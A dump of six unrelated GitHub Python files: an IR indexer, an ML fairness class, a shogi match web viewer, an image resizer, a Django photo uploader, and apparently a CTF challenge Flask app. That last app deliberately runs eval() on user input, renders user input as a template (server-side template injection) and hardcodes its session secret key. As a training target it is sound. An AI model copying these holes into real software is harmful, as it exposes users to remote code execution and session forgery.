{"seq_id":"41561638217","text":"# to create inverted index for the given corpus\n\nfrom Indexer import IndexCreator\n\n\n\n\nstemmedCorpus = open(\"cacm_stem.txt\")\n\nfor line in stemmedCorpus:\n\ttokens = line.split()\n\tif tokens[0] == \"#\":\n\t\tdocName = tokens[1]\n\t\ttext = \"\"\n\t\tif len(docName) == 1:\n\t\t\ttext = \"000\"\n\t\telif len(docName) == 2:\n\t\t\ttext = \"00\"\n\t\telif len(docName) == 3:\n\t\t\ttext = \"0\"\n\t\telse:\n\t\t\ttext = \"\"\n\n\t\tfile = open(\"cacm/CACM-\" + text + docName + \".txt\", 'w')\n\telse:\n\t\tfor token in tokens:\n\t\t\tfile.write(token)\n\t\t\tfile.write(\" \")\nrootdir = \"cacm/\"\n\nindex = IndexCreator()\nindex.docToID(rootdir)\ninvertedIndex = index.getIndex(rootdir, 1)\n\n# invertedIndex = index.getIndex(rootdir, 2)\n# invertedIndex = index.getIndex(rootdir, 3)\n\n# to get the count of tokens in each of the document\ntokenCount = index.getTokensInADoc()\ntokensDoc = index.getTokens()\n# sstopList = index.generateStopList()\n\n# to get the index and the document statistics\nindex.dumpIndex(invertedIndex,1)\nindex.storeDocStatistics(invertedIndex,1)\n\n\n# index.dumpIndex(invertedIndex,2)\n# index.storeDocStatistics(invertedIndex,2)\n\n# index.dumpIndex(invertedIndex,3)\n# index.storeDocStatistics(invertedIndex,3)\n","repo_name":"tanviranadive/python-projects","sub_path":"Information Retrieval/Project-SearchEngine-Evaluation/Phase1/Task3/Task3B/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3914259701","text":"import logging\nimport numpy\nimport numpy as np\nimport pandas as pd\nfrom pandas.api.types import CategoricalDtype\nfrom math import *\nfrom datetime import datetime\nfrom operator import itemgetter\nfrom zipfile import ZipFile\nfrom io import BytesIO\nimport pickle\nfrom urllib.request import urlopen\n\nfrom IPython.display import Image\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport plotly.express as px\n\nfrom numpy import inf\nfrom scipy.stats import kurtosis, skew\n\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn import ensemble\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn import metrics\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import average_precision_score\nfrom sklearn.metrics import mean_squared_error\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\nfrom fair_func import acfmetrics\n\nclass Generic:\n    \n    def __init__(self, data, protected_features, independent_features, target_variable, is_fair, is_sensitive=None):\n        \"\"\"function to initialize class\"\"\"\n        self.data = data\n        y=self.data[target_variable]*1000\n        x=self.data.drop(columns=[target_variable])\n        self.X_train, self.X_test, self.y_train, self.y_test = train_test_split(x, y, test_size=0.20, random_state=3000)\n        self.protected_features = protected_features\n        self.independent_features = independent_features\n        self.target_variable = target_variable\n        self.sens_test = self.X_test[self.protected_features] if self.protected_features is not \"\" else None\n        self.counter_sens_test = None\n        self.is_fair = is_fair \n        self.is_sensitive = is_sensitive\n        self.model = None\n        self.predictions = None\n        self.pred_probs = None\n    \n    def get_residuals_train_data(self):\n        \"\"\"function to get residuals for train data\n           residual = diff(predicted,actual)\"\"\"\n        residuals_dict_train = {}\n        sens_train=self.X_train[self.protected_features]\n        for feature in self.independent_features:\n            clf_feature_train = LinearRegression().fit(sens_train, self.X_train[feature])\n            residual_train = self.X_train[feature] - clf_feature_train.predict(sens_train)\n            residuals_dict_train[f\"{feature}R\"] = residual_train\n\n        df_R_train = pd.DataFrame(residuals_dict_train)\n        return df_R_train\n    \n    def fit(self, X_train=None):\n        \"\"\"function to fit model\"\"\"\n        if X_train is None:\n            self.model = LogisticRegression(random_state=0, solver='liblinear', multi_class='ovr').fit(self.X_train, self.y_train)\n        else:            \n            self.model = LogisticRegression(random_state=0, solver='liblinear', multi_class='ovr').fit(X_train, self.y_train)\n        return self.model\n    \n    def get_residuals_test_data(self,is_cuf=False):\n        \"\"\"function to get residuals for test data\n           residual = diff(predicted,actual)\"\"\"\n        residuals_dict_test = {}\n        for feature in self.independent_features:\n            clf_feature_test = LinearRegression().fit(self.sens_test, self.X_test[feature])\n            residual_test = self.X_test[feature] - clf_feature_test.predict(self.sens_test if is_cuf==False else self.counter_sens_test)\n            residuals_dict_test[f\"{feature}R\"] = residual_test\n\n        df_R_test = pd.DataFrame(residuals_dict_test)\n        return df_R_test\n        \n    def predict(self, X_test=None):\n        \"\"\"function to predict using model\"\"\"\n        if X_test is None:\n            self.predictions = self.model.predict(self.X_test)\n        else:            \n            self.predictions = self.model.predict(X_test)\n        return self.predictions\n    \n    def predict_proba(self, X_test=None):\n        \"\"\"function to predict probability using model\"\"\"\n        if X_test is None:\n            self.pred_probs = self.model.predict_proba(self.X_test)[:,0]\n        else:            \n            self.pred_probs = self.model.predict_proba(X_test)[:,0]\n        return self.pred_probs\n    \n    def get_model_metrics(self):\n        \"\"\"function to get ROC AUC Score for model\"\"\"\n        model_type = \"ACF Model\" if self.is_fair == True else \"Full Model\"\n        sensitivity = \" without sensitive features\" if self.is_sensitive == False else \" with sensitive features\" if self.is_fair == False else \"\" \n        metrics_data = pd.DataFrame({f\"ROC AUC Score ({model_type}{sensitivity})\":[roc_auc_score(self.y_test, self.pred_probs)]})\n        return metrics_data\n    \n    def get_fairness_metrics(self):\n        \"\"\"function to get Equal Odds, Demographic Parity and Predictive Parity for model\"\"\"\n        model_type = \"ACF Model\" if self.is_fair == True else \"Full Model\"\n        sensitivity = \" without sensitive features\" if self.is_sensitive == False else \" with sensitive features\" if self.is_fair == False else \"\" \n        fairness_metrics_dict = {\"Column\":[],f\"Equal Odds ({model_type}{sensitivity})\":[],f\"Demographic Parity ({model_type}{sensitivity})\":[],f\"Predictive Parity ({model_type}{sensitivity})\":[]}\n        \n        for feature in self.protected_features:\n            fairness_metrics_dict[\"Column\"].append(feature)\n            tn_up, fp_up, fn_up, tp_up = confusion_matrix(self.y_test[self.X_test[feature]==1], self.predictions[self.X_test[feature]==1]).ravel()\n            tn_p, fp_p, fn_p, tp_p = confusion_matrix(self.y_test[self.X_test[feature]==0], self.predictions[self.X_test[feature]==0]).ravel()\n            fairness_metrics = acfmetrics(tn_up, fp_up, fn_up, tp_up, tn_p, fp_p, fn_p, tp_p)\n            fairness_metrics_dict[f\"Equal Odds ({model_type}{sensitivity})\"].append(fairness_metrics[1])\n            fairness_metrics_dict[f\"Demographic Parity ({model_type}{sensitivity})\"].append(fairness_metrics[3])\n            fairness_metrics_dict[f\"Predictive Parity ({model_type}{sensitivity})\"].append(fairness_metrics[6])\n            \n        fairness_metrics_data = pd.DataFrame(fairness_metrics_dict)\n        return fairness_metrics_data\n        \n    def get_model_metrics_difference(self):\n        \"\"\"function to get ROC AUC Score difference for protected features - privileged vs unprivileged\"\"\"\n        model_type = \"ACF Model\" if self.is_fair == True else \"Full Model\"\n        sensitivity = \" without sensitive features\" if self.is_sensitive == False else \" with sensitive features\" if self.is_fair == False else \"\" \n        model_metrics_difference_dict = {\"Column\":[],f\"ROC AUC Score Difference ({model_type}{sensitivity})\":[]}\n\n        for feature in self.protected_features:\n            model_metrics_difference_dict[\"Column\"].append(feature)\n            A_fair=roc_auc_score(self.y_test[self.sens_test[feature]==0], self.pred_probs[self.sens_test[feature]==0]) #pval = 0 is Privileged\n            B_fair=roc_auc_score(self.y_test[self.sens_test[feature]==1], self.pred_probs[self.sens_test[feature]==1]) #pval = 1 is Unprivileged\n            model_metrics_difference_dict[f\"ROC AUC Score Difference ({model_type}{sensitivity})\"].append(abs(B_fair-A_fair))\n\n        model_metrics_difference_data = pd.DataFrame(model_metrics_difference_dict)\n        return model_metrics_difference_data\n    \n    def get_fairness_metrics_plots(self,metrics,acf_fairness_metrics,fm_fairness_metrics):\n        \"\"\"function to get fairness metrics comparison plots for protected features - Full Model VS ACF Model\"\"\"\n        index = np.arange(len(metrics))\n        bar_width = 0.35\n        plt.figure(figsize=(50,25))\n\n        for i,feature in enumerate(self.protected_features):\n            ax = plt.subplot(2,2,i+1)\n            fairness_metrics_dict = {\"Metrics\":metrics,'Full Model':fm_fairness_metrics.iloc[[i],[1,2,3]].values.tolist()[0], 'ACF Fair Model':acf_fairness_metrics.iloc[[i],[1,2,3]].values.tolist()[0]}\n            fairness_metrics_table = pd.DataFrame.from_dict(fairness_metrics_dict)\n            a = ax.bar(index, fairness_metrics_table[\"Full Model\"], bar_width,color=\"red\",label=\"Full Model\")\n            b = ax.bar(index+bar_width, fairness_metrics_table[\"ACF Fair Model\"], bar_width, color=\"black\",label=\"ACF Fair Model\")\n            ax.set_title(f\"Fairness Metrics Comparison for Full Model vs ACF model for {feature}\",fontsize=30)\n            ax.set_xticks(index + bar_width / 2)\n            ax.set_xticklabels(metrics,fontsize=30)\n            ax.tick_params(axis='y', which='major', labelsize=30)\n            ax.legend(loc='upper right',fontsize=30)\n        plt.show()\n        \n    def get_crosstab_total_amount(self,predictions):\n        crosstab = pd.crosstab(self.y_test, predictions, rownames=['Actual'], colnames=['Predicted']).rename(columns={0.0:\"Non-Defaulter\",1000.0:\"Defaulter\"}).rename({0.0:\"Non-Defaulter\",1000.0:\"Defaulter\"},axis=\"rows\")\n        \n        df = pd.DataFrame()\n        df[\"Default_Actual\"] = pd.DataFrame(self.y_test.reset_index(drop=True))[\"Default\"]\n        df[\"Default_Predicted\"] = pd.DataFrame(predictions)[0]\n        df[\"AppliedAmount\"] = pd.DataFrame(self.X_test[\"AppliedAmount\"].reset_index(drop=True))\n        \n        TP = df[(df[\"Default_Actual\"]==0) & (df[\"Default_Predicted\"]==0)][\"AppliedAmount\"]\n        FN = df[(df[\"Default_Actual\"]==0) & (df[\"Default_Predicted\"]==1)][\"AppliedAmount\"]\n        FP = df[(df[\"Default_Actual\"]==1) & (df[\"Default_Predicted\"]==0)][\"AppliedAmount\"]\n        TN = df[(df[\"Default_Actual\"]==1) & (df[\"Default_Predicted\"]==1)][\"AppliedAmount\"]\n        \n        total = sum(TP)-sum(FN)-sum(FP)\n        return crosstab, total\n    \n    def get_error(self, predictions):\n        \"\"\"function to get error = diff(predicted,actual)\"\"\"\n        error = self.y_test - predictions \n        return error\n        \n    def get_counterfactual_data(self):\n        \"\"\"function to invert privileged and unprivileged classes in protected features\"\"\"\n        self.counter_sens_test = self.sens_test.replace({0:1, 1:0})\n        counter_X_test = pd.concat([self.X_test[self.independent_features], self.counter_sens_test], axis=1)\n        return counter_X_test\n    \n    def get_plots_CUF(self, normal_predictions, cuf_predictions, normal_error, cuf_error):\n        \"\"\"function to get plots for model with and w/o CUF\"\"\"\n        model_type = \"ACF Fair Model\" if self.is_fair == True else \"Full Model\"\n        plt.figure(figsize=(8,5))\n        p1=sns.kdeplot(normal_predictions, shade=True, color=\"r\")\n        p1=sns.kdeplot(cuf_predictions, shade=True, color=\"b\")\n        plt.title(f'Density plot of predictions for sensitive features VS counterfactual sensitive features for {model_type}', fontsize=10)\n        plt.axvline(np.mean(normal_predictions), color=\"r\")\n        plt.axvline(np.mean(cuf_predictions), color=\"b\")\n        plt.legend(['Without CUF','With CUF'])\n        ","repo_name":"Nency0/Responsible_AI","sub_path":"Python Codes/full_acf_cuf_classification_final (1).py","file_name":"full_acf_cuf_classification_final (1).py","file_ext":"py","file_size_in_byte":10869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"32314851908","text":"from typing import Dict, Optional\nimport math\nfrom cshogi import Board, CSA, KIF, BLACK, WHITE, opponent, REPETITION_WIN, REPETITION_LOSE\nfrom cshogi.usi import Engine\nfrom cshogi.cli import usi_info_to_score, usi_info_to_csa_comment, re_usi_info\nfrom flask import Flask, render_template, request\nfrom wsgiref.simple_server import make_server\n\nTURN_SYMBOLS = ('▲', '△')\nCSA_TURN_SYMBOLS = {'+': '▲', '-': '△'}\n\nclass Human:\n    def __init__(self, human_input):\n        self.board = Board()\n        self.name = 'Human'\n        self.human_input = human_input\n\n    def usi(self, listener=None):\n        return []\n\n    def isready(self, listener=None):\n        pass\n\n    def usinewgame(self, listener=None):\n        pass\n\n    def position(self, moves=None, sfen=\"startpos\", listener=None):\n        self.board.reset()\n        for move in moves:\n            self.board.push_usi(move)\n\n    def go(self, ponder=False, btime=None, wtime=None, byoyomi=None, binc=None, winc=None, nodes=None, listener=None):\n        import time\n        while True:\n            human_input = dict(self.human_input)\n            if human_input['number'] == self.board.move_number:\n                usi_move = human_input['move']\n                move = self.board.move_from_usi(usi_move)\n                if self.board.is_legal(move):\n                    return usi_move, None\n            time.sleep(0.1)\n\n    def quit(self, listener=None):\n        pass\n\ndef usi_info_to_pv(board, info):\n    m = re_usi_info.match(info)\n    if m is None:\n        return None\n\n    # pv\n    pv = []\n    board2 = board.copy()\n    for usi_move in m[3].split(' '):\n        move = board2.move_from_usi(usi_move)\n        if not board2.is_legal(move):\n            break\n        pv.append(TURN_SYMBOLS[board2.turn] + KIF.move_to_kif(move, board2.peek()))\n        board2.push(move)\n\n    return ' '.join(pv)\n\ndef match(moves, engine1=None, engine2=None, options1={}, options2={}, names=None, byoyomi=None, time=None, inc=None, draw=256, human_input=None, csa=None):\n    from collections import defaultdict\n    from time import perf_counter\n\n    class Listener:\n        def __init__(self):\n            self.info = self.bestmove = ''\n\n        def __call__(self, line):\n            self.info = self.bestmove\n            self.bestmove = line\n    listener = Listener()\n\n    # CSA\n    if csa:\n        csa_exporter = CSA.Exporter(csa, append=False)\n\n    engines = []\n    for engine in (engine1, engine2):\n        if engine == 'human':\n            engines.append(Human(human_input))\n        else:\n            engines.append(Engine(engine, connect=True))\n    for engine, options in zip(engines, (options1, options2)):\n        for name, value in options.items():\n            engine.setoption(name, value, listener=listener)\n        engine.isready(listener=listener)\n\n    for i in range(2):\n        if names[i]:\n            engines[i].name = names[i]\n        else:\n            names[i] = engines[i].name\n\n    board = Board()\n    usi_moves = []\n    repetition_hash = defaultdict(int)\n\n    # 新規ゲーム\n    for engine in engines:\n        engine.usinewgame()\n\n    if csa:\n        csa_exporter.info(board, names, version='V2')\n\n    # 対局\n    is_game_over = False\n    is_nyugyoku = False\n    is_illegal = False\n    is_repetition_win = False\n    is_repetition_lose = False\n    is_fourfold_repetition = False\n    is_timeup = False\n    remain_time = [time, time]\n    while not is_game_over:\n        engine_index = (board.move_number - 1) % 2\n        engine = engines[engine_index]\n\n        # 持将棋\n        if board.move_number > draw:\n            is_game_over = True\n            break\n\n        # position\n        engine.position(usi_moves)\n\n        start_time = perf_counter()\n\n        # go\n        listener.info = ''\n        listener.bestmove = ''\n        bestmove, _ = engine.go(byoyomi=byoyomi, btime=remain_time[BLACK], wtime=remain_time[WHITE], binc=inc, winc=inc, listener=listener)\n\n        elapsed_time = perf_counter() - start_time\n\n        if remain_time[board.turn] is not None:\n            if inc_time[board.turn] is not None:\n                remain_time[board.turn] += inc_time[board.turn]\n            remain_time[board.turn] -= math.ceil(elapsed_time * 1000)\n\n        if bestmove == 'resign':\n            # 投了\n            is_game_over = True\n            break\n        elif bestmove == 'win':\n            # 入玉勝ち宣言\n            is_nyugyoku = True\n            is_game_over = True\n            break\n        else:\n            move = board.move_from_usi(bestmove)\n            if board.is_legal(move):\n                if csa:\n                    csa_exporter.move(move, time=int(elapsed_time), comment=usi_info_to_csa_comment(board, listener.info))\n                score = usi_info_to_score(listener.info)\n                pv = usi_info_to_pv(board, listener.info)\n                moves.append({\n                    'number': board.move_number,\n                    'kif_move': TURN_SYMBOLS[(board.move_number + 1) % 2] + KIF.move_to_kif(move, board.peek()),\n                    'time': math.ceil(elapsed_time),\n                    'move': move,\n                    'eval': (score * (1 if board.turn == BLACK else -1)) if score is not None else 'null',\n                    'pv': pv if pv is not None else '',\n                })\n                board.push(move)\n                usi_moves.append(bestmove)\n                key = board.zobrist_hash()\n                repetition_hash[key] += 1\n                # 千日手\n                if repetition_hash[key] == 4:\n                    # 連続王手\n                    is_draw = board.is_draw()\n                    if is_draw == REPETITION_WIN:\n                        is_repetition_win = True\n                        is_game_over = True\n                        break\n                    elif is_draw == REPETITION_LOSE:\n                        is_repetition_lose = True\n                        is_game_over = True\n                        break\n                    is_fourfold_repetition = True\n                    is_game_over = True\n                    break\n            else:\n                is_illegal = True\n                is_game_over = True\n                break\n\n        # 終局判定\n        if board.is_game_over():\n            is_game_over = True\n            break\n\n    # エンジン終了\n    for engine in engines:\n        engine.quit()\n\n    # 結果出力\n    if not board.is_game_over() and board.move_number > draw:\n        result = '持将棋'\n        csa_endgame = '%JISHOGI'\n    elif is_fourfold_repetition:\n        result = '千日手'\n        csa_endgame = '%SENNICHITE'\n    elif is_nyugyoku:\n        result = TURN_SYMBOLS[board.turn] + '入玉宣言'\n        csa_endgame = '%KACHI'\n    elif is_illegal:\n        win = opponent(board.turn)\n        result = '{}の反則負け'.format('先手' if win == WHITE else '後手')\n        csa_endgame = '%ILLEGAL_MOVE'\n    elif is_repetition_win:\n        win = board.turn\n        result = '{}の反則勝ち'.format('先手' if win == BLACK else '後手')\n        csa_endgame = '%+ILLEGAL_ACTION' if board.turn == WHITE else '%-ILLEGAL_ACTION'\n    elif is_repetition_lose:\n        win = opponent(board.turn)\n        result = '{}の反則負け'.format('先手' if win == WHITE else '後手')\n        csa_endgame = 'ILLEGAL_MOVE'\n    elif is_timeup:\n        win = opponent(board.turn)\n        result = '{}の切れ負け'.format('先手' if win == WHITE else '後手')\n        csa_endgame = '%TIME_UP'\n    else:\n        result = TURN_SYMBOLS[board.turn] + '投了'\n        csa_endgame = '%TORYO'\n\n    # CSA\n    if csa:\n        csa_exporter.endgame(csa_endgame)\n\n    moves.append({\n        'number': board.move_number,\n        'kif_move': result,\n        'time': 0,\n        'move': 0,\n        'eval': 'null',\n        'pv': '',\n    })\n\ndef run(engine1: Optional[str] = None, engine2: Optional[str] = None, options1: Dict = {}, options2: Dict = {}, name1: Optional[str] = None, name2: Optional[str] = None, byoyomi: Optional[int] = None, time: Optional[int] = None, inc: Optional[int] = None, draw: int = 256, csa: Optional[str] = None, host: str = 'localhost', port: int = 8000):\n    \"\"\"Initializes and runs a shogi match between two engines or replays a game from a given CSA file.\n    The match or replay is rendered using Flask and is accessible via a web interface.\n\n    :param engine1: Name or path of the first engine, or 'human' for human player. Default is None.\n    :param engine2: Name or path of the second engine, or 'human' for human player. Default is None.\n    :param options1: Configuration options for the first engine. Default is an empty dictionary.\n    :param options2: Configuration options for the second engine. Default is an empty dictionary.\n    :param name1: Optional name for the first player. Default is None.\n    :param name2: Optional name for the second player. Default is None.\n    :param byoyomi: Byoyomi time in milliseconds. Default is None.\n    :param time: Time control for the match in milliseconds. Default is None.\n    :param inc: Increment time for each move in milliseconds. Default is None.\n    :param draw: Number of moves before a draw is claimed. Default is 256.\n    :param csa: Path to a CSA file to replay a game. Default is None.\n    :param host: Hostname to bind the Flask server to. Default is 'localhost'.\n    :param port: Port number to bind the Flask server to. Default is 8000.\n    \"\"\"\n    is_match = 'false'\n    auto_update = 'false'\n\n    if engine1 and engine2:\n        from multiprocessing import Process, Manager\n        manager = Manager()\n        moves = manager.list()\n        human_input = manager.dict({ 'number': 0, 'move': None })\n        names = manager.list([name1, name2])\n        humans = [engine1 == 'human', engine2 == 'human']\n        match_proc = Process(target=match, args=[moves, engine1, engine2, options1, options2, names, byoyomi, time, inc, draw, human_input, csa])\n        match_proc.start()\n        is_match = 'true'\n        auto_update = 'true'\n    elif csa:\n        moves = []\n        kif = CSA.Parser.parse_file(csa)[0]\n        names = kif.names\n        board = Board(sfen=kif.sfen)\n        for i, (move, prev_move, time, comment) in enumerate(zip(kif.moves, [None] + kif.moves[:-1], kif.times, kif.comments)):\n            comment_items = comment.split(' ')\n            eval = 'null'\n            pv = []\n            assert board.is_legal(move)\n            board.push(move)\n            if len(comment_items) > 0 and comment_items[0] != '':\n                eval = int(comment_items[0])\n            if len(comment_items) > 1:\n                board2 = board.copy()\n                for csa in comment_items[1:]:\n                    move2 = board2.move_from_csa(csa[1:])\n                    if board2.is_legal(move2):\n                        pv.append(CSA_TURN_SYMBOLS[csa[0]] + KIF.move_to_kif(move2))\n                        board2.push(move2)\n                    else:\n                        pv = comment_items[1:]\n                        break\n            moves.append({\n                'number': i + 1,\n                'kif_move': TURN_SYMBOLS[i % 2] + KIF.move_to_kif(move, prev_move),\n                'time': time,\n                'move': move,\n                'eval': eval,\n                'pv': ' '.join(pv),\n                })\n        moves.append({\n            'number': i + 2,\n            'kif_move': TURN_SYMBOLS[(i + 1) % 2] + CSA.JAPANESE_END_GAMES[kif.endgame],\n            'time': 0,\n            'move': 0,\n            'eval': 'null',\n            'pv': '',\n        })\n\n    app = Flask(__name__)\n\n    @app.route(\"/\")\n    def init_board():\n        autoupdate = 'false'\n        human = ''\n        if is_match == 'true':\n            if match_proc.is_alive():\n                autoupdate = request.args.get('autoupdate', default=auto_update)\n                if humans[len(moves) % 2]:\n                    human = 'black' if len(moves) % 2 == 0 else 'white'\n        return render_template('board.html', names=names, moves=moves, is_match=is_match, autoupdate=autoupdate, human=human)\n\n    @app.route(\"/update\")\n    def update():\n        human = ''\n        if humans[len(moves) % 2]:\n            human = 'black' if len(moves) % 2 == 0 else 'white'\n        return { 'names': list(names), 'moves': list(moves), 'human':human }\n\n    @app.route(\"/move\")\n    def human_move():\n        import time\n        human_input['move'] = request.args.get('move')\n        human_input['number'] = int(request.args.get('number', default=0))\n        time.sleep(0.2)\n        human = ''\n        if names[len(moves) % 2] == 'Human':\n            human = 'black' if len(moves) % 2 == 0 else 'white'\n        return { 'names': list(names), 'moves': list(moves), 'human':human }\n\n    server = make_server(host, port, app)\n    server.serve_forever()\n\ndef colab(engine1=None, engine2=None, options1={}, options2={}, name1=None, name2=None, byoyomi=None, time=None, inc=None, draw=256, csa=None):\n    from multiprocessing import Process\n    import portpicker\n    from google.colab import output\n\n    global proc\n    if 'proc' in globals():\n        proc.terminate()\n        proc.join()\n\n    port = portpicker.pick_unused_port()\n    proc = Process(target=run, args=(engine1, engine2, options1, options2, name1, name2, byoyomi, time, inc, draw, csa, 'localhost', port))\n    proc.start()\n    output.serve_kernel_port_as_iframe(port, height='680')\n\nif __name__ == '__main__':\n    import argparse\n    parser = argparse.ArgumentParser()\n    parser.add_argument('engine1')\n    parser.add_argument('engine2')\n    parser.add_argument('--options1', default='')\n    parser.add_argument('--options2', default='')\n    parser.add_argument('--name1')\n    parser.add_argument('--name2')\n    parser.add_argument('--byoyomi', type=int)\n    parser.add_argument('--time', type=int)\n    parser.add_argument('--inc', type=int)\n    parser.add_argument('--draw', type=int, default=256)\n    parser.add_argument('--csa')\n    parser.add_argument('--host', type=str, default='localhost')\n    parser.add_argument('--port', type=int, default=8000)\n    args = parser.parse_args()\n\n    options_list = [{}, {}]\n    for i, kvs in enumerate([options.split(',') for options in (args.options1, args.options2)]):\n        if len(kvs) == 1 and kvs[0] == '':\n            continue\n        for kv_str in kvs:\n            kv = kv_str.split(':', 1)\n            if len(kv) != 2:\n                raise ValueError('options{}'.format(i + 1))\n            options_list[i][kv[0]] = kv[1]\n\n    run(engine1=args.engine1, engine2=args.engine2,\n        options1=options_list[0], options2=options_list[1],\n        name1=args.name1, name2=args.name2,\n        byoyomi=args.byoyomi, time=args.time, inc=args.inc, draw=args.draw,\n        csa=args.csa, host=args.host, port=args.port)\n","repo_name":"TadaoYamaoka/cshogi","sub_path":"cshogi/web/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":14752,"program_lang":"python","lang":"en","doc_type":"code","stars":109,"dataset":"github-code","pt":"18"}
{"seq_id":"38066693373","text":"#! /usr/bin/python\n# vim: set ts=4 sts=4 sw=4 noet fileencoding=utf-8:\n#\n# Функции для работы с обложками.\n\nimport Image\nimport os\n\nimport logger\n\ndef find(files, outname=u'__folder.jpg'):\n\tlogger.info(u\"Looking for album art\")\n\textensions = [u'jpg', u'jpeg', u'gif', u'png', u'bmp']\n\tfor file in files:\n\t\tif str(file.split('.')[-1].lower()) in extensions:\n\t\t\tlogger.info(u'Using ' + file)\n\t\t\treturn resize(file, 300)\n\tlogger.info(u\"  nothing\")\n\ndef resize(filename, width):\n\timg = Image.open(unicode(filename))\n\tif img.mode != 'RGB':\n\t\timg = img.convert('RGB')\n\tif img.size[0] != img.size[1]:\n\t\tshift = (max(img.size) - min(img.size)) / 2\n\t\tif img.size[0] > img.size[1]:\n\t\t\tcrop = (shift, 0, shift + img.size[1], img.size[1])\n\t\telse:\n\t\t\tcrop = (0, shift, img.size[0], shift + img.size[1])\n\t\timg = img.crop(crop)\n\t\timg.load()\n\n\toutname = os.path.splitext(filename)[0] + u'.' + str(width) + u'x' + str(width) + u'.jpg'\n\timg.resize((width, width), Image.ANTIALIAS).save(outname, 'JPEG')\n\treturn outname\n","repo_name":"google-code-export/freemusic","sub_path":"robot/lib/albumart.py","file_name":"albumart.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"34224819241","text":"from django.core.management.base import BaseCommand\nfrom django.core.files.images import ImageFile\nimport os\nfrom photos import models, utils\nfrom django.db.utils import IntegrityError\nfrom django.db import transaction\n\n\nclass Command(BaseCommand):\n    help = 'REQUIRES upload folder with names of people inside. It uploads \\\n            the photos in each folder with the name as the owner.'\n\n    def create_photo(self, ff, path, per, dev):\n        person = models.Person.objects.filter(name__icontains=per)[0]\n        device = models.Device.objects.filter(name__icontains=dev)[0]\n        # get image hash\n        img_hash = utils.hash_image(path)\n        if img_hash == '':\n            print('Error not a readable image for hasing')\n            print('\\t{}'.format(path))\n            return False\n        try:\n            with transaction.atomic():\n                photo = models.Photo.objects.create(photo_hash=img_hash, owner=person,\n                                                    device=device)\n                photo.document = ImageFile(open(path, 'rb'))\n                photo.document.name = ff\n                doc = photo.document\n                create_date = utils.get_DateTimeOriginal(path)\n                if create_date != '':\n                    photo.create_date = create_date\n                    photo.metadata = True\n                # create name with owner in it\n                name = '{}/{}'.format(str(person), doc.name)\n                photo.backup_path = utils.save_backup(name, path)\n                photo.small_thumb.save(name=doc.name, content=doc)\n                photo.medium_thumb.save(name=doc.name, content=doc)\n                photo.large_thumb.save(name=doc.name, content=doc)\n                photo.save()\n        except IntegrityError:\n            p = models.Photo.objects.get(photo_hash=img_hash)\n            print('**FAILED: duplicates id {}'.format(p.id))\n        return True\n    \n    \n\n    def handle(self, *args, **options):\n        for r,d,f in os.walk('upload'):\n            people = d\n            break\n\n        for p in people:\n            person_path = os.path.join('upload', p)\n            \n            for r,d,f in os.walk(person_path):\n                devices = [os.path.join(r, dd) for dd in d]\n                break\n            \n            for device in devices:\n                dev = device.split('/')[-1]\n                for r,d,f in os.walk(device):\n                    # Uploaded path\n                    mov_loc = os.path.join(device, 'uploaded')\n                    # error folder path\n                    error_path = os.path.join(device, 'error')\n                    # remove mac .DS_Store from list\n                    try:\n                        f.remove('.DS_Store')\n                    except ValueError:\n                        pass\n                    # Only print if there are pictures here\n                    if len(f) > 0:\n                        print('\\n***Uploading photos from {},{}***'.format(p,dev))\n                        # Make uploaded folder\n                        if not os.path.exists(mov_loc):\n                            os.mkdir(mov_loc)\n                    \n                    for ff in f:\n                        pic = ff.lower()\n                        # print(\"It's a picture!\")\n                        print('Uploading: {}'.format(ff))\n                        path = os.path.join(r, ff)\n                        created = self.create_photo(ff, path, p, dev) \n                        # move photo to uploaded folder\n                        if created:\n                            os.rename(path, os.path.join(mov_loc, ff))\n                        else:\n                            if not os.path.exists(error_path):\n                                os.mkdir(error_path)\n                            os.rename(path, os.path.join(error_path, ff))\n                    break\n","repo_name":"EarthSquirrel/django-photo-album","sub_path":"photoAlbum/photos/management/commands/upload_photos.py","file_name":"upload_photos.py","file_ext":"py","file_size_in_byte":3864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34835548691","text":"import random\nfrom flask import Flask, render_template_string, render_template, request,session\nimport os\nimport re\nimport config\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = '4hf3j8sgh(rt&%^jf*dw'\n#app.debug = True\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n    session['user']='nobody'\n    session['id']='flag in /admin'\n    if request.method == 'POST':\n        try:\n            p = request.values.get('formula')\n            if p != None:\n                if re.match(\"\\d{1,10}.?\\d{0,5}[\\+\\-\\*\\/]\\d{1,10}.?\\d{0,5}\",p):\n                    result=eval(p)\n                    return render_template_string(str(result))\n                if len(p) > 10:\n                    return 'what\\'s this?'\n                return render_template_string(p)\n\n        except Exception as e:\n            print(e)\n            return 'too hard for meQ_Q'\n\n    return render_template('index.html')\n\n\n@app.route('/admin', methods=['GET', 'POST'])\ndef check():\n    if 'user' in session:\n        if session.get('user') == 'admin' and session.get('id') == '0':\n            return 'Welcome,admin!This is you flag:'+config.FLAG\n    return 'who R you?'\n    \n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=1337)\n","repo_name":"X1cT34m/0xGame2022","sub_path":"Web/week3/session/app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"}
